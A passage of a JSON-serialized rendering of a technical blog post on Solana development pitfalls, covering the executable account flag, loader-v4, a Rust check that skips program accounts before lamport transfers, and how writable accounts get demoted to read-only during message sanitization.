5,"props":73967,"children":73968},{"style":102},[73969],{"type":26,"value":21214},{"type":21,"tag":85,"props":73971,"children":73972},{"style":169},[73973],{"type":26,"value":73},{"type":21,"tag":85,"props":73975,"children":73976},{"style":114},[73977],{"type":26,"value":13370},{"type":21,"tag":85,"props":73979,"children":73980},{"style":169},[73981],{"type":26,"value":73},{"type":21,"tag":85,"props":73983,"children":73984},{"style":1021},[73985],{"type":26,"value":73493},{"type":21,"tag":85,"props":73987,"children":73988},{"style":114},[73989],{"type":26,"value":1439},{"type":21,"tag":85,"props":73991,"children":73992},{"style":120},[73993],{"type":26,"value":15931},{"type":21,"tag":85,"props":73995,"children":73996},{"style":114},[73997],{"type":26,"value":777},{"type":21,"tag":85,"props":73999,"children":74000},{"class":87,"line":3369},[74001,74005],{"type":21,"tag":85,"props":74002,"children":74003},{"style":108},[74004],{"type":26,"value":14751},{"type":21,"tag":85,"props":74006,"children":74007},{"style":114},[74008],{"type":26,"value":14756},{"type":21,"tag":85,"props":74010,"children":74011},{"class":87,"line":3377},[74012],{"type":21,"tag":85,"props":74013,"children":74014},{"style":114},[74015],{"type":26,"value":2671},{"type":21,"tag":85,"props":74017,"children":74018},{"class":87,"line":3386},[74019],{"type":21,"tag":85,"props":74020,"children":74021},{"emptyLinePlaceholder":16},[74022],{"type":26,"value":703},{"type":21,"tag":85,"props":74024,"children":74025},{"class":87,"line":3394},[74026],{"type":21,"tag":85,"props":74027,"children":74028},{"style":92},[74029],{"type":26,"value":74030},"/// Feature gating to remove `is_executable` flag related checks\n",{"type":21,"tag":85,"props":74032,"children":74033},{"class":87,"line":3410},[74034,74038,74042,74046],{"type":21,"tag":85,"props":74035,"children":74036},{"style":114},[74037],{"type":26,"value":73531},{"type":21,"tag":85,"props":74039,"children":74040},{"style":169},[74041],{"type":26,"value":741},{"type":21,"tag":85,"props":74043,"children":74044},{"style":5026},[74045],{"type":26,"value":73540},{"type":21,"tag":85,"props":74047,"children":74048},{"style":114},[74049],{"type":26,"value":21036},{"type":21,"tag":85,"props":74051,"children":74052},{"class":87,"line":3427},[74053],{"type":21,"tag":85,"props":74054,"children":74055},{"style":114},[74056],{"type":26,"value":74057},"#[inline]\n",{"type":21,"tag":85,"props":74059,"children":74060},{"class":87,"line":3445},[74061,74065,74070,74074,74078,74082,74086,74090,74094],{"type":21,"tag":85,"props":74062,"children":74063},{"style":102},[74064],{"type":26,"value":20694},{"type":21,"tag":85,"props":74066,"children":74067},{"style":1021},[74068],{"type":26,"value":74069}," is_executable_internal",{"type":21,"tag":85,"props":74071,"children":74072},{"style":114},[74073],{"type":26,"value":1439},{"type":21,"tag":85,"props":74075,"children":74076},{"style":169},[74077],{"type":26,"value":2238},{"type":21,"tag":85,"props":74079,"children":74080},{"style":102},[74081],{"type":26,"value":14131},{"type":21,"tag":85,"props":74083,"children":74084},{"style":114},[74085],{"type":26,"value":736},{"type":21,"tag":85,"props":74087,"children":74088},{"style":169},[74089],{"type":26,"value":14175},{"type":21,"tag":85,"props":74091,"children":74092},{"style":108},[74093],{"type":26,"value":12467},{"type":21,"tag":85,"props":74095,"children":74096},{"style":114},[74097],{"type":26,"value":148},{"type":21,"tag":85,"props":74099,"children":74100},{"class":87,"line":3490},[74101,74105],{"type":21,"tag":85,"props":74102,"children":74103},{"style":169},[74104],{"type":26,"value":21398},{"type":21,"tag":85,"props":74106,"children":74107},{"style":102},[74108],{"type":26,"value":74109},"self\n",{"type":21,"tag":85,"props":74111,"children":74112},{"class":87,"line":3596},[74113,74117],{"type":21,"tag":85,"props":74114,"children":74115},{"style":169},[74116],{"type":26,"value":68719},{"type":21,"tag":85,"props":74118,"children":74119},{"style":114},[74120],{"type":26,"value":74121},"transaction_context\n",{"type":21,"tag":85,"props":74123,"children":74124},{"class":87,"line":23938},[74125,74129],{"type":21,"tag":85,"props":74126,"children":74127},{"style":169},[74128],{"type":26,"value":68719},{"type":21,"tag":85,"props":74130,"children":74131},{"style":114},[74132],{"type":26,"value":74133},"remove_accounts_executable_flag_checks\n",{"type":21,"tag":85,"props":74135,"children":74136},{"class":87,"line":23973},[74137,74141,74145,74149,74153,74157,74161],{"type":21,"tag":85,"props":74138,"children":74139},{"style":169},[74140],{"type":26,"value":43251},{"type":21,"tag":85,"props":74142,"children":74143},{"style":102},[74144],{"type":26,"value":14215},{"type":21,"tag":85,"props":74146,"children":74147},{"style":169},[74148],{"type":26,"value":73},{"type":21,"tag":85,"props":74150,"children":74151},{"style":114},[74152],{"type":26,"value":13370},{"type":21,"tag":85,"props":74154,"children":74155},{"style":169},[74156],{"type":26,"value":73},{"type":21,"tag":85,"props":74158,"children":74159},{"style":1021},[74160],{"type":26,"value":16075},{"type":21,"tag":85,"props":74162,"children":74163},{"style":114},[74164],{"type":26,"value":2086},{"type":21,"tag":85,"props":74166,"children":74167},{"class":87,"line":23981},[74168],{"type":21,"tag":85,"props":74169,"children":74170},{"style":114},[74171],{"type":26,"value":2671},{"type":21,"tag":22,"props":74173,"children":74174},{},[74175],{"type":26,"value":74176},"Turns out: even writable, rent-exempt accounts can still reject lamport transfers.",{"type":21,"tag":22,"props":74178,"children":74179},{},[74180,74182,74187],{"type":26,"value":74181},"Specifically, ",{"type":21,"tag":873,"props":74183,"children":74184},{},[74185],{"type":26,"value":74186},"executable accounts",{"type":26,"value":74188}," cannot receive or send lamports — the runtime treats them as immutable.",{"type":21,"tag":19318,"props":74190,"children":74192},{"id":74191},"sidebar-whats-the-executable-flag-anyway",[74193],{"type":26,"value":74194},"Sidebar: What's the executable Flag Anyway?",{"type":21,"tag":22,"props":74196,"children":74197},{},[74198,74199,74204],{"type":26,"value":17034},{"type":21,"tag":66,"props":74200,"children":74202},{"className":74201},[],[74203],{"type":26,"value":16075},{"type":26,"value":74205}," flag is a legacy mechanism marking accounts that hold program code. Historically, an account with this flag was assumed to either contain immutable BPF bytecode or was a proxy to a built-in program, and therefore it made sense to consider it read-only for performance reasons.",{"type":21,"tag":22,"props":74207,"children":74208},{},[74209,74211,74216],{"type":26,"value":74210},"This behavior became problematic with the introduction of the ",{"type":21,"tag":873,"props":74212,"children":74213},{},[74214],{"type":26,"value":74215},"Upgradeable BPF Loader",{"type":26,"value":74217},". A workaround was used to maintain compatibility with the existing runtime logic. The program data containing bpf bytecode was split into a separate account, ProgramData, with the program account now only containing an address pointing to the ProgramData account:",{"type":21,"tag":75,"props":74219,"children":74221},{"className":77,"code":74220,"language":79,"meta":7,"style":7},"Program {\n    /// Address of the ProgramData account.\n    programdata_address: Pubkey,\n},\nProgramData {\n    /// Slot that the program was last modified.\n    slot: u64,\n    /// Address of the Program's upgrade authority.\n    upgrade_authority_address: Option\u003CPubkey>,\n    // The raw program data follows this serialized structure in the\n    // account's data.\n},\n",[74222],{"type":21,"tag":66,"props":74223,"children":74224},{"__ignoreMap":7},[74225,74237,74245,74265,74273,74285,74293,74313,74321,74349,74357,74365],{"type":21,"tag":85,"props":74226,"children":74227},{"class":87,"line":88},[74228,74233],{"type":21,"tag":85,"props":74229,"children":74230},{"style":108},[74231],{"type":26,"value":74232},"Program",{"type":21,"tag":85,"props":74234,"children":74235},{"style":114},[74236],{"type":26,"value":148},{"type":21,"tag":85,"props":74238,"children":74239},{"class":87,"line":98},[74240],{"type":21,"tag":85,"props":74241,"children":74242},{"style":92},[74243],{"type":26,"value":74244},"    /// Address of the ProgramData account.\n",{"type":21,"tag":85,"props":74246,"children":74247},{"class":87,"line":151},[74248,74253,74257,74261],{"type":21,"tag":85,"props":74249,"children":74250},{"style":120},[74251],{"type":26,"value":74252},"    programdata_address",{"type":21,"tag":85,"props":74254,"children":74255},{"style":169},[74256],{"type":26,"value":172},{"type":21,"tag":85,"props":74258,"children":74259},{"style":108},[74260],{"type":26,"value":21285},{"type":21,"tag":85,"props":74262,"children":74263},{"style":114},[74264],{"type":26,"value":182},{"type":21,"tag":85,"props":74266,"children":74267},{"class":87,"line":160},[74268],{"type":21,"tag":85,"props":74269,"children":74270},{"style":114},[74271],{"type":26,"value":74272},"},\n",{"type":21,"tag":85,"props":74274,"children":74275},{"class":87,"line":185},[74276,74281],{"type":21,"tag":85,"props":74277,"children":74278},{"style":108},[74279],{"type":26,"value":74280},"ProgramData",{"type":21,"tag":85,"props":74282,"children":74283},{"style":114},[74284],{"type":26,"value":148},{"type":21,"tag":85,"props":74286,"children":74287},{"class":87,"line":501},[74288],{"type":21,"tag":85,"props":74289,"children":74290},{"style":92},[74291],{"type":26,"value":74292},"    /// Slot that the program was last modified.\n",{"type":21,"tag":85,"props":74294,"children":74295},{"class":87,"line":697},[74296,74301,74305,74309],{"type":21,"tag":85,"props":74297,"children":74298},{"style":120},[74299],{"type":26,"value":74300},"    slot",{"type":21,"tag":85,"props":74302,"children":74303},{"style":169},[74304],{"type":26,"value":172},{"type":21,"tag":85,"props":74306,"children":74307},{"style":108},[74308],{"type":26,"value":177},{"type":21,"tag":85,"props":74310,"children":74311},{"style":114},[74312],{"type":26,"value":182},{"type":21,"tag":85,"props":74314,"children":74315},{"class":87,"line":706},[74316],{"type":21,"tag":85,"props":74317,"children":74318},{"style":92},[74319],{"type":26,"value":74320},"    /// Address of the Program's upgrade authority.\n",{"type":21,"tag":85,"props":74322,"children":74323},{"class":87,"line":1100},[74324,74329,74333,74337,74341,74345],{"type":21,"tag":85,"props":74325,"children":74326},{"style":120},[74327],{"type":26,"value":74328},"    upgrade_authority_address",{"type":21,"tag":85,"props":74330,"children":74331},{"style":169},[74332],{"type":26,"value":172},{"type":21,"tag":85,"props":74334,"children":74335},{"style":108},[74336],{"type":26,"value":28087},{"type":21,"tag":85,"props":74338,"children":74339},{"style":114},[74340],{"type":26,"value":117},{"type":21,"tag":85,"props":74342,"children":74343},{"style":108},[74344],{"type":26,"value":21826},{"type":21,"tag":85,"props":74346,"children":74347},{"style":114},[74348],{"type":26,"value":461},{"type":21,"tag":85,"props":74350,"children":74351},{"class":87,"line":1339},[74352],{"type":21,"tag":85,"props":74353,"children":74354},{"style":92},[74355],{"type":26,"value":74356},"    // The raw program data follows this serialized structure in the\n",{"type":21,"tag":85,"props":74358,"children":74359},{"class":87,"line":1348},[74360],{"type":21,"tag":85,"props":74361,"children":74362},{"style":92},[74363],{"type":26,"value":74364},"    // account's data.\n",{"type":21,"tag":85,"props":74366,"children":74367},{"class":87,"line":1386},[74368],{"type":21,"tag":85,"props":74369,"children":74370},{"style":114},[74371],{"type":26,"value":74272},{"type":21,"tag":22,"props":74373,"children":74374},{},[74375,74377,74384],{"type":26,"value":74376},"Eventually, the executable flag will be removed entirely as proposed in ",{"type":21,"tag":335,"props":74378,"children":74381},{"href":74379,"rel":74380},"https://github.com/solana-foundation/solana-improvement-documents/blob/main/proposals/0162-remove-accounts-executable-flag-checks.md",[339],[74382],{"type":26,"value":74383},"SIMD-0162",{"type":26,"value":74385},". The reasoning is simple: an account's owner and its content are sufficient to determine if it's a valid program — the executable flag is redundant.",{"type":21,"tag":22,"props":74387,"children":74388},{},[74389,74391,74396,74398,74403],{"type":26,"value":74390},"This change is also a ",{"type":21,"tag":873,"props":74392,"children":74393},{},[74394],{"type":26,"value":74395},"hard requirement for supporting the new loader-v4",{"type":26,"value":74397},". Unlike the upgradable loader, which relies on a separate ",{"type":21,"tag":66,"props":74399,"children":74401},{"className":74400},[],[74402],{"type":26,"value":74280},{"type":26,"value":74404}," proxy account, loader-v4 stores all program data directly in the program account itself.",{"type":21,"tag":22,"props":74406,"children":74407},{},[74408,74410,74417,74419,74424],{"type":26,"value":74409},"As a result, it becomes impossible to modify the account's size after deployment, or to ",{"type":21,"tag":335,"props":74411,"children":74414},{"href":74412,"rel":74413},"https://github.com/anza-xyz/agave/blob/7a1e57469a5b1aeed617457c0519803620ba953f/programs/bpf_loader/src/lib.rs#L1411",[339],[74415],{"type":26,"value":74416},"migrate",{"type":26,"value":74418}," from the upgradable loader to loader-v4 — without hitting the ",{"type":21,"tag":66,"props":74420,"children":74422},{"className":74421},[],[74423],{"type":26,"value":73857},{"type":26,"value":74425}," restriction.",{"type":21,"tag":19318,"props":74427,"children":74429},{"id":74428},"fix-2-reject-program-accounts",[74430],{"type":26,"value":74431},"Fix 2: Reject Program Accounts",{"type":21,"tag":22,"props":74433,"children":74434},{},[74435],{"type":26,"value":74436},"To avoid this footgun, let’s explicitly skip any executable account:",{"type":21,"tag":75,"props":74438,"children":74440},{"className":77,"code":74439,"language":79,"meta":7,"style":7},"pub fn can_transfer_lamports(account: &AccountInfo, lamports: u64) -> Result\u003Cbool> {\nfn is_program(account: &AccountInfo) -> bool {\n    account.executable\n}\nlet rent = Rent::get()?;\nlet balance_after = account.lamports() + lamports;\nOk(account.is_writable\n    && rent.is_exempt(balance_after, account.data_len())\n    && !is_program(account))\n}\n",[74441],{"type":21,"tag":66,"props":74442,"children":74443},{"__ignoreMap":7},[74444,74520,74568,74584,74591,74630,74674,74698,74747,74775],{"type":21,"tag":85,"props":74445,"children":74446},{"class":87,"line":88},[74447,74451,74455,74460,74464,74468,74472,74476,74480,74484,74488,74492,74496,74500,74504,74508,74512,74516],{"type":21,"tag":85,"props":74448,"children":74449},{"style":102},[74450],{"type":26,"value":14108},{"type":21,"tag":85,"props":74452,"children":74453},{"style":102},[74454],{"type":26,"value":14113},{"type":21,"tag":85,"props":74456,"children":74457},{"style":1021},[74458],{"type":26,"value":74459}," can_transfer_lamports",{"type":21,"tag":85,"props":74461,"children":74462},{"style":114},[74463],{"type":26,"value":1439},{"type":21,"tag":85,"props":74465,"children":74466},{"style":120},[74467],{"type":26,"value":13370},{"type":21,"tag":85,"props":74469,"children":74470},{"style":169},[74471],{"type":26,"value":172},{"type":21,"tag":85,"props":74473,"children":74474},{"style":169},[74475],{"type":26,"value":1487},{"type":21,"tag":85,"props":74477,"children":74478},{"style":108},[74479],{"type":26,"value":15357},{"type":21,"tag":85,"props":74481,"children":74482},{"style":114},[74483],{"type":26,"value":256},{"type":21,"tag":85,"props":74485,"children":74486},{"style":120},[74487],{"type":26,"value":15931},{"type":21,"tag":85,"props":74489,"children":74490},{"style":169},[74491],{"type":26,"value":172},{"type":21,"tag":85,"props":74493,"children":74494},{"style":108},[74495],{"type":26,"value":177},{"type":21,"tag":85,"props":74497,"children":74498},{"style":114},[74499],{"type":26,"value":736},{"type":21,"tag":85,"props":74501,"children":74502},{"style":169},[74503],{"type":26,"value":14175},{"type":21,"tag":85,"props":74505,"children":74506},{"style":108},[74507],{"type":26,"value":14180},{"type":21,"tag":85,"props":74509,"children":74510},{"style":114},[74511],{"type":26,"value":117},{"type":21,"tag":85,"props":74513,"children":74514},{"style":108},[74515],{"type":26,"value":30129},{"type":21,"tag":85,"props":74517,"children":74518},{"style":114},[74519],{"type":26,"value":1627},{"type":21,"tag":85,"props":74521,"children":74522},{"class":87,"line":98},[74523,74527,74532,74536,74540,74544,74548,74552,74556,74560,74564],{"type":21,"tag":85,"props":74524,"children":74525},{"style":102},[74526],{"type":26,"value":20694},{"type":21,"tag":85,"props":74528,"children":74529},{"style":1021},[74530],{"type":26,"value":74531}," is_program",{"type":21,"tag":85,"props":74533,"children":74534},{"style":114},[74535],{"type":26,"value":1439},{"type":21,"tag":85,"props":74537,"children":74538},{"style":120},[74539],{"type":26,"value":13370},{"type":21,"tag":85,"props":74541,"children":74542},{"style":169},[74543],{"type":26,"value":172},{"type":21,"tag":85,"props":74545,"children":74546},{"style":169},[74547],{"type":26,"value":1487},{"type":21,"tag":85,"props":74549,"children":74550},{"style":108},[74551],{"type":26,"value":15357},{"type":21,"tag":85,"props":74553,"children":74554},{"style":114},[74555],{"type":26,"value":736},{"type":21,"tag":85,"props":74557,"children":74558},{"style":169},[74559],{"type":26,"value":14175},{"type":21,"tag":85,"props":74561,"children":74562},{"style":108},[74563],{"type":26,"value":12467},{"type":21,"tag":85,"props":74565,"children":74566},{"style":114},[74567],{"type":26,"value":148},{"type":21,"tag":85,"props":74569,"children":74570},{"class":87,"line":151},[74571,74575,74579],{"type":21,"tag":85,"props":74572,"children":74573},{"style":120},[74574],{"type":26,"value":25612},{"type":21,"tag":85,"props":74576,"children":74577},{"style":169},[74578],{"type":26,"value":73},{"type":21,"tag":85,"props":74580,"children":74581},{"style":114},[74582],{"type":26,"value":74583},"executable\n",{"type":21,"tag":85,"props":74585,"children":74586},{"class":87,"line":160},[74587],{"type":21,"tag":85,"props":74588,"children":74589},{"style":114},[74590],{"type":26,"value":2671},{"type":21,"tag":85,"props":74592,"children":74593},{"class":87,"line":185},[74594,74598,74602,74606,74610,74614,74618,74622,74626],{"type":21,"tag":85,"props":74595,"children":74596},{"style":102},[74597],{"type":26,"value":12204},{"type":21,"tag":85,"props":74599,"children":74600},{"style":120},[74601],{"type":26,"value":73351},{"type":21,"tag":85,"props":74603,"children":74604},{"style":169},[74605],{"type":26,"value":1941},{"type":21,"tag":85,"props":74607,"children":74608},{"style":108},[74609],{"type":26,"value":43922},{"type":21,"tag":85,"props":74611,"children":74612},{"style":169},[74613],{"type":26,"value":1087},{"type":21,"tag":85,"props":74615,"children":74616},{"style":1021},[74617],{"type":26,"value":16772},{"type":21,"tag":85,"props":74619,"children":74620},{"style":114},[74621],{"type":26,"value":14297},{"type":21,"tag":85,"props":74623,"children":74624},{"style":169},[74625],{"type":26,"value":3927},{"type":21,"tag":85,"props":74627,"children":74628},{"style":114},[74629],{"type":26,"value":2535},{"type":21,"tag":85,"props":74631,"children":74632},{"class":87,"line":501},[74633,74637,74642,74646,74650,74654,74658,74662,74666,74670],{"type":21,"tag":85,"props":74634,"children":74635},{"style":102},[74636],{"type":26,"value":12204},{"type":21,"tag":85,"props":74638,"children":74639},{"style":120},[74640],{"type":26,"value":74641}," balance_after",{"type":21,"tag":85,"props":74643,"children":74644},{"style":169},[74645],{"type":26,"value":1941},{"type":21,"tag":85,"props":74647,"children":74648},{"style":120},[74649],{"type":26,"value":6249},{"type":21,"tag":85,"props":74651,"children":74652},{"style":169},[74653],{"type":26,"value":73},{"type":21,"tag":85,"props":74655,"children":74656},{"style":1021},[74657],{"type":26,"value":15931},{"type":21,"tag":85,"props":74659,"children":74660},{"style":114},[74661],{"type":26,"value":14461},{"type":21,"tag":85,"props":74663,"children":74664},{"style":169},[74665],{"type":26,"value":5151},{"type":21,"tag":85,"props":74667,"children":74668},{"style":120},[74669],{"type":26,"value":73662},{"type":21,"tag":85,"props":74671,"children":74672},{"style":114},[74673],{"type":26,"value":2535},{"type":21,"tag":85,"props":74675,"children":74676},{"class":87,"line":697},[74677,74681,74685,74689,74693],{"type":21,"tag":85,"props":74678,"children":74679},{"style":108},[74680],{"type":26,"value":20917},{"type":21,"tag":85,"props":74682,"children":74683},{"style":114},[74684],{"type":26,"value":1439},{"type":21,"tag":85,"props":74686,"children":74687},{"style":120},[74688],{"type":26,"value":13370},{"type":21,"tag":85,"props":74690,"children":74691},{"style":169},[74692],{"type":26,"value":73},{"type":21,"tag":85,"props":74694,"children":74695},{"style":114},[74696],{"type":26,"value":74697},"is_writable\n",{"type":21,"tag":85,"props":74699,"children":74700},{"class":87,"line":706},[74701,74705,74709,74713,74718,74722,74727,74731,74735,74739,74743],{"type":21,"tag":85,"props":74702,"children":74703},{"style":169},[74704],{"type":26,"value":16041},{"type":21,"tag":85,"props":74706,"children":74707},{"style":120},[74708],{"type":26,"value":73351},{"type":21,"tag":85,"props":74710,"children":74711},{"style":169},[74712],{"type":26,"value":73},{"type":21,"tag":85,"props":74714,"children":74715},{"style":1021},[74716],{"type":26,"value":74717},"is_exempt",{"type":21,"tag":85,"props":74719,"children":74720},{"style":114},[74721],{"type":26,"value":1439},{"type":21,"tag":85,"props":74723,"children":74724},{"style":120},[74725],{"type":26,"value":74726},"balance_after",{"type":21,"tag":85,"props":74728,"children":74729},{"style":114},[74730],{"type":26,"value":256},{"type":21,"tag":85,"props":74732,"children":74733},{"style":120},[74734],{"type":26,"value":13370},{"type":21,"tag":85,"props":74736,"children":74737},{"style":169},[74738],{"type":26,"value":73},{"type":21,"tag":85,"props":74740,"children":74741},{"style":1021},[74742],{"type":26,"value":14224},{"type":21,"tag":85,"props":74744,"children":74745},{"style":114},[74746],{"type":26,"value":16080},{"type":21,"tag":85,"props":74748,"children":74749},{"class":87,"line":1100},[74750,74754,74758,74763,74767,74771],{"type":21,"tag":85,"props":74751,"children":74752},{"style":169},[74753],{"type":26,"value":16041},{"type":21,"tag":85,"props":74755,"children":74756},{"style":169},[74757],{"type":26,"value":13281},{"type":21,"tag":85,"props":74759,"children":74760},{"style":1021},[74761],{"type":26,"value":74762},"is_program",{"type":21,"tag":85,"props":74764,"children":74765},{"style":114},[74766],{"type":26,"value":1439},{"type":21,"tag":85,"props":74768,"children":74769},{"style":120},[74770],{"type":26,"value":13370},{"type":21,"tag":85,"props":74772,"children":74773},{"style":114},[74774],{"type":26,"value":20139},{"type":21,"tag":85,"props":74776,"children":74777},{"class":87,"line":1339},[74778],{"type":21,"tag":85,"props":74779,"children":74780},{"style":114},[74781],{"type":26,"value":2671},{"type":21,"tag":22,"props":74783,"children":74784},{},[74785],{"type":26,"value":74786},"Now we’re safe...right?",{"type":21,"tag":10022,"props":74788,"children":74790},{"id":74789},"bug-3-the-write-demotion-trap",[74791],{"type":26,"value":74792},"Bug 3: The Write-Demotion Trap",{"type":21,"tag":22,"props":74794,"children":74795},{},[74796,74798,74803,74805,74810],{"type":26,"value":74797},"On Solana, accounts passed as ",{"type":21,"tag":873,"props":74799,"children":74800},{},[74801],{"type":26,"value":74802},"writable",{"type":26,"value":74804}," in a transaction can be ",{"type":21,"tag":873,"props":74806,"children":74807},{},[74808],{"type":26,"value":74809},"silently downgraded to read-only",{"type":26,"value":74811},". This behavior occurs during message sanitization — even before your program runs.",{"type":21,"tag":22,"props":74813,"children":74814},{},[74815,74817,74824],{"type":26,"value":74816},"Let’s walk through the logic for legacy messages (note: the same rules apply to ",{"type":21,"tag":335,"props":74818,"children":74821},{"href":74819,"rel":74820},"https://github.com/anza-xyz/solana-sdk/blob/master/message/src/versions/v0/loaded.rs#L58-L98",[339],[74822],{"type":26,"value":74823},"MessageV0",{"type":26,"value":74825},", but legacy is simpler to follow):",{"type":21,"tag":75,"props":74827,"children":74829},{"className":77,"code":74828,"language":79,"meta":7,"style":7},"// https://github.com/anza-xyz/solana-sdk/blob/master/message/src/sanitized.rs#L39-L55\nimpl LegacyMessage\u003C'_> {\n    pub fn new(message: legacy::Message, reserved_account_keys: &HashSet\u003CPubkey>) -> Self {\n        let is_writable_account_cache = message\n            .account_keys\n            .iter()\n            .enumerate()\n            .map(|(i, _key)| {\n                message.is_writable_index(i)\n                    && !reserved_account_keys.contains(&message.account_keys[i])\n                    && !message.demote_program_id(i)\n            })\n            .collect::\u003CVec\u003C_>>();\n        Self {\n            message: Cow::Owned(message),\n            is_writable_account_cache,\n        }\n    }\n}\n\n// https://github.com/anza-xyz/solana-sdk/blob/master/message/src/legacy.rs#L642-L644\npub fn demote_program_id(&self, i: usize) -> bool {\n    self.is_key_called_as_program(i) && !self.is_upgradeable_loader_present()\n}\n\n",[74830],{"type":21,"tag":66,"props":74831,"children":74832},{"__ignoreMap":7},[74833,74841,74865,74953,74974,74986,75002,75018,75066,75095,75149,75185,75193,75230,75242,75280,75292,75299,75306,75313,75320,75328,75388,75441],{"type":21,"tag":85,"props":74834,"children":74835},{"class":87,"line":88},[74836],{"type":21,"tag":85,"props":74837,"children":74838},{"style":92},[74839],{"type":26,"value":74840},"// https://github.com/anza-xyz/solana-sdk/blob/master/message/src/sanitized.rs#L39-L55\n",{"type":21,"tag":85,"props":74842,"children":74843},{"class":87,"line":98},[74844,74848,74853,74857,74861],{"type":21,"tag":85,"props":74845,"children":74846},{"style":102},[74847],{"type":26,"value":28636},{"type":21,"tag":85,"props":74849,"children":74850},{"style":108},[74851],{"type":26,"value":74852}," LegacyMessage",{"type":21,"tag":85,"props":74854,"children":74855},{"style":114},[74856],{"type":26,"value":23351},{"type":21,"tag":85,"props":74858,"children":74859},{"style":108},[74860],{"type":26,"value":3856},{"type":21,"tag":85,"props":74862,"children":74863},{"style":114},[74864],{"type":26,"value":1627},{"type":21,"tag":85,"props":74866,"children":74867},{"class":87,"line":151},[74868,74872,74876,74880,74884,74888,74892,74897,74901,74906,74910,74915,74919,74923,74928,74932,74936,74940,74944,74949],{"type":21,"tag":85,"props":74869,"children":74870},{"style":102},[74871],{"type":26,"value":21271},{"type":21,"tag":85,"props":74873,"children":74874},{"style":102},[74875],{"type":26,"value":14113},{"type":21,"tag":85,"props":74877,"children":74878},{"style":1021},[74879],{"type":26,"value":32378},{"type":21,"tag":85,"props":74881,"children":74882},{"style":114},[74883],{"type":26,"value":1439},{"type":21,"tag":85,"props":74885,"children":74886},{"style":120},[74887],{"type":26,"value":68496},{"type":21,"tag":85,"props":74889,"children":74890},{"style":169},[74891],{"type":26,"value":172},{"type":21,"tag":85,"props":74893,"children":74894},{"style":114},[74895],{"type":26,"value":74896}," legacy",{"type":21,"tag":85,"props":74898,"children":74899},{"style":169},[74900],{"type":26,"value":1087},{"type":21,"tag":85,"props":74902,"children":74903},{"style":108},[74904],{"type":26,"value":74905},"Message",{"type":21,"tag":85,"props":74907,"children":74908},{"style":114},[74909],{"type":26,"value":256},{"type":21,"tag":85,"props":74911,"children":74912},{"style":120},[74913],{"type":26,"value":74914},"reserved_account_keys",{"type":21,"tag":85,"props":74916,"children":74917},{"style":169},[74918],{"type":26,"value":172},{"type":21,"tag":85,"props":74920,"children":74921},{"style":169},[74922],{"type":26,"value":1487},{"type":21,"tag":85,"props":74924,"children":74925},{"style":108},[74926],{"type":26,"value":74927},"HashSet",{"type":21,"tag":85,"props":74929,"children":74930},{"style":114},[74931],{"type":26,"value":117},{"type":21,"tag":85,"props":74933,"children":74934},{"style":108},[74935],{"type":26,"value":21826},{"type":21,"tag":85,"props":74937,"children":74938},{"style":114},[74939],{"type":26,"value":20874},{"type":21,"tag":85,"props":74941,"children":74942},{"style":169},[74943],{"type":26,"value":14175},{"type":21,"tag":85,"props":74945,"children":74946},{"style":102},[74947],{"type":26,"value":74948}," Self",{"type":21,"tag":85,"props":74950,"children":74951},{"style":114},[74952],{"type":26,"value":148},{"type":21,"tag":85,"props":74954,"children":74955},{"class":87,"line":160},[74956,74960,74965,74969],{"type":21,"tag":85,"props":74957,"children":74958},{"style":102},[74959],{"type":26,"value":1931},{"type":21,"tag":85,"props":74961,"children":74962},{"style":120},[74963],{"type":26,"value":74964}," is_writable_account_cache",{"type":21,"tag":85,"props":74966,"children":74967},{"style":169},[74968],{"type":26,"value":1941},{"type":21,"tag":85,"props":74970,"children":74971},{"style":120},[74972],{"type":26,"value":74973}," message\n",{"type":21,"tag":85,"props":74975,"children":74976},{"class":87,"line":185},[74977,74981],{"type":21,"tag":85,"props":74978,"children":74979},{"style":169},[74980],{"type":26,"value":3939},{"type":21,"tag":85,"props":74982,"children":74983},{"style":114},[74984],{"type":26,"value":74985},"account_keys\n",{"type":21,"tag":85,"props":74987,"children":74988},{"class":87,"line":501},[74989,74993,74998],{"type":21,"tag":85,"props":74990,"children":74991},{"style":169},[74992],{"type":26,"value":3939},{"type":21,"tag":85,"props":74994,"children":74995},{"style":1021},[74996],{"type":26,"value":74997},"iter",{"type":21,"tag":85,"props":74999,"children":75000},{"style":114},[75001],{"type":26,"value":2086},{"type":21,"tag":85,"props":75003,"children":75004},{"class":87,"line":697},[75005,75009,75014],{"type":21,"tag":85,"props":75006,"children":75007},{"style":169},[75008],{"type":26,"value":3939},{"type":21,"tag":85,"props":75010,"children":75011},{"style":1021},[75012],{"type":26,"value":75013},"enumerate",{"type":21,"tag":85,"props":75015,"children":75016},{"style":114},[75017],{"type":26,"value":2086},{"type":21,"tag":85,"props":75019,"children":75020},{"class":87,"line":706},[75021,75025,75029,75033,75037,75041,75045,75049,75054,75058,75062],{"type":21,"tag":85,"props":75022,"children":75023},{"style":169},[75024],{"type":26,"value":3939},{"type":21,"tag":85,"props":75026,"children":75027},{"style":1021},[75028],{"type":26,"value":67561},{"type":21,"tag":85,"props":75030,"children":75031},{"style":114},[75032],{"type":26,"value":1439},{"type":21,"tag":85,"props":75034,"children":75035},{"style":169},[75036],{"type":26,"value":10831},{"type":21,"tag":85,"props":75038,"children":75039},{"style":114},[75040],{"type":26,"value":1439},{"type":21,"tag":85,"props":75042,"children":75043},{"style":120},[75044],{"type":26,"value":3003},{"type":21,"tag":85,"props":75046,"children":75047},{"style":114},[75048],{"type":26,"value":256},{"type":21,"tag":85,"props":75050,"children":75051},{"style":120},[75052],{"type":26,"value":75053},"_key",{"type":21,"tag":85,"props":75055,"children":75056},{"style":114},[75057],{"type":26,"value":1900},{"type":21,"tag":85,"props":75059,"children":75060},{"style":169},[75061],{"type":26,"value":10831},{"type":21,"tag":85,"props":75063,"children":75064},{"style":114},[75065],{"type":26,"value":148},{"type":21,"tag":85,"props":75067,"children":75068},{"class":87,"line":1100},[75069,75074,75078,75083,75087,75091],{"type":21,"tag":85,"props":75070,"children":75071},{"style":120},[75072],{"type":26,"value":75073},"                